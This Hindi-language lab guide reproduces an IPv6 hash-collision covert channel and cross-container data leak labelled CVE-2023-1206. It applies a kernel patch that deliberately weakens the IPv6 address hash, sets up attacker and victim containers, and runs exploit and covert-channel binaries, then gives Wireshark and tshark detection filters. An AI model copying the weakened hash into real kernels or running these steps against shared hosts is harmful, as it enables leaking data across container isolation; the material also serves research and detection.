┌─────────────────────────────────────────────────────────────────────┐
│                    गैर-एन्क्रिप्टेड गुप्त चैनल                     │
├─────────────────────────────────────────────────────────────────────┤
│  कंटेनर A (प्रेषक)              कंटेनर B (प्राप्तकर्ता)           │
│  ┌─────────────────┐               ┌─────────────────┐              │
│  │ 1. ह्यूपेज पर   │               │ 4. सिंक        │              │
│  │    डेटा लिखें   │               │    प्रस्तावना   │              │
│  └────────┬────────┘               │    का पता लगाएं│              │
│           │                        └────────┬────────┘              │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   IPv6 हैश   ┌─────────────────┐              │
│  │ 2. सिंक         │──कोलिजन────▶│ 5. विलंबता     │              │
│  │    प्रस्तावना   │    टाइमिंग  │    मापें        │              │
│  │    भेजें        │              │                  │              │
│  └────────┬────────┘              └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   ह्यूपेज    ┌─────────────────┐              │
│  │ 3. ह्यूपेज     │──पुनः उपयोग─▶│ 6. लीक किया    │              │
│  │    जारी करें   │               │    गया डेटा    │              │
│  │                 │               │    कैप्चर करें  │              │
│  └─────────────────┘               └─────────────────┘              │
└─────────────────────────────────────────────────────────────────────┘

# कर्नेल स्रोत क्लोन करें
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12

# कमजोरी पैच लागू करें
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
 /* more secured version of ipv6_addr_hash() */
 static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
 {
-	return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+	u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+	return jhash_3words(v,
+			    (__force u32)a->s6_addr32[2],
+			    (__force u32)a->s6_addr32[3],
+			    initval);
 }
EOF

patch -p1 < /tmp/vuln_patch.patch

# बिल्ड और इंस्टॉल करें
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub

# कमजोर कर्नेल में रीबूट करें
sudo reboot

# ह्यूपेज आवंटित करें
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# सत्यापित करें
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

# udmabuf मॉड्यूल लोड करें
sudo modprobe udmabuf

# /dev/udmabuf मौजूद है सत्यापित करें
ls -la /dev/udmabuf

# IPv6 समर्थन के साथ डॉकर इंस्टॉल करें
sudo apt-get update
sudo apt-get install -y docker.io docker-compose

# डॉकर में IPv6 सक्षम करें
sudo cat > /etc/docker/daemon.json << 'EOF'
{
  "ipv6": true,
  "fixed-cidr-v6": "fd00::/80",
  "experimental": true,
  "ip6tables": true
}
EOF

sudo systemctl restart docker

cd ~/covert_channel

# होस्ट पर बनाएँ
make

# डॉकर कंटेनर बनाएँ
docker-compose build

# कोलिजन परीक्षण चलाएँ
./test_collision

# अपेक्षित आउटपुट:
# [VULNERABLE] सभी पते एक ही मान पर हैश करते हैं!
# [CRITICAL] सभी 1M पते एक बकेट में आ गए!

# टर्मिनल 1: पीड़ित डेटाबेस प्रारंभ करें
docker-compose up victim_db

# टर्मिनल 2: हमलावर चलाएँ
docker-compose run --rm attacker
# कंटेनर के अंदर:
cd /exploit
./exploit_debug

# टर्मिनल 3: लीक ट्रिगर करने के लिए पीड़ित को रोकें
docker stop victim_db

# लीक हुए रहस्यों के लिए टर्मिनल 2 देखें!

# टर्मिनल 1: प्राप्तकर्ता प्रारंभ करें
docker-compose run --rm receiver
cd /exploit
./covert_channel -r

# टर्मिनल 2: प्रेषक प्रारंभ करें
docker-compose run --rm sender
cd /exploit
./covert_channel -s "कंटेनर A से गुप्त संदेश"

# संदेश प्राप्त करने के लिए टर्मिनल 1 देखें!

# होस्ट पर, डॉकर ब्रिज ट्रैफिक कैप्चर करें
sudo tcpdump -i docker0 -w covert_channel.pcap

# या विशिष्ट नेटवर्क कैप्चर करें
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap

# सिंक चैनल के लिए फिल्टर (IPv6 TCP SYN बाढ़)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0

# विशिष्ट कोलिजन बकेट ट्रैफिक के लिए फिल्टर
ipv6.dst contains 20:01:0d:b8

# पोर्ट द्वारा फिल्टर
tcp.port == 31337

# केवल कनेक्शन प्रयास दिखाएं (कोई डेटा नहीं)
tcp.len == 0 && tcp.flags.syn == 1

# समय-आधारित विश्लेषण (प्रति सेकंड कनेक्शन)
# सांख्यिकी -> I/O ग्राफ़ -> Y अक्ष: पैकेट/सेकंड

-- CVE-2023-1206 के लिए गुप्त चैनल डिसेक्टर

local covert_proto = Proto("covert_sync", "CVE-2023-1206 गुप्त सिंक")

local f_collision = ProtoField.bool("covert.collision", "हैश कोलिजन")
local f_bucket = ProtoField.uint32("covert.bucket", "लक्ष्य बकेट", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)
    -- IPv6 TCP SYN की जाँच करें
    if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
        local src = pinfo.ipv6_src
        -- कोलिजन पैटर्न की जाँच करें
        local a0 = src:get_bytes(0, 4)
        local a1 = src:get_bytes(4, 4)
        -- XOR जाँच यहाँ होगी
        
        local subtree = tree:add(covert_proto, buffer())
        subtree:add(f_collision, true)
    end
end

-- TCP के लिए पंजीकृत करें
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)

# लाइव पैकेट दर ग्राफ़
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# प्लॉटिंग के लिए टाइमिंग डेटा निकालें
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
    -Y "tcp.flags.syn==1" > timing_data.csv

# gnuplot के साथ प्लॉट करें
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'समय (सेकंड)'
set ylabel 'पैकेट'
set title 'CVE-2023-1206 गुप्त सिंक चैनल'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF

# वर्तमान आवंटन की जाँच करें
cat /proc/meminfo | grep Huge

# आवंटन बढ़ाएँ
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# यदि विफल हो, तो कैश ड्रॉप करने के बाद प्रयास करें
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# मॉड्यूल लोड करें
sudo modprobe udmabuf

# यदि गायब है, तो कर्नेल कॉन्फिग में सक्षम करने की आवश्यकता हो सकती है
# CONFIG_UDMABUF=m

# यदि डिवाइस गायब है तो बनाएँ
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')

# IPv6 फ़ॉरवर्डिंग सक्षम करें
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# डॉकर नेटवर्क जाँचें
docker network inspect covert_net | grep -A5 IPv6

# IPv6 के साथ नेटवर्क पुनः बनाएँ
docker-compose down
docker network rm covert_channel_covert_net
docker-compose up

# अधिक विश्वसनीय पहचान के लिए बिट अवधि बढ़ाएँ
# covert_channel.c संपादित करें:
#define SYNC_BIT_DURATION_MS 200  # 100 से बढ़ाएँ

# यदि गलत सकारात्मक हों तो सीमा बढ़ाएँ
#define SYNC_THRESHOLD 3.0  # 2.0 से बढ़ाएँ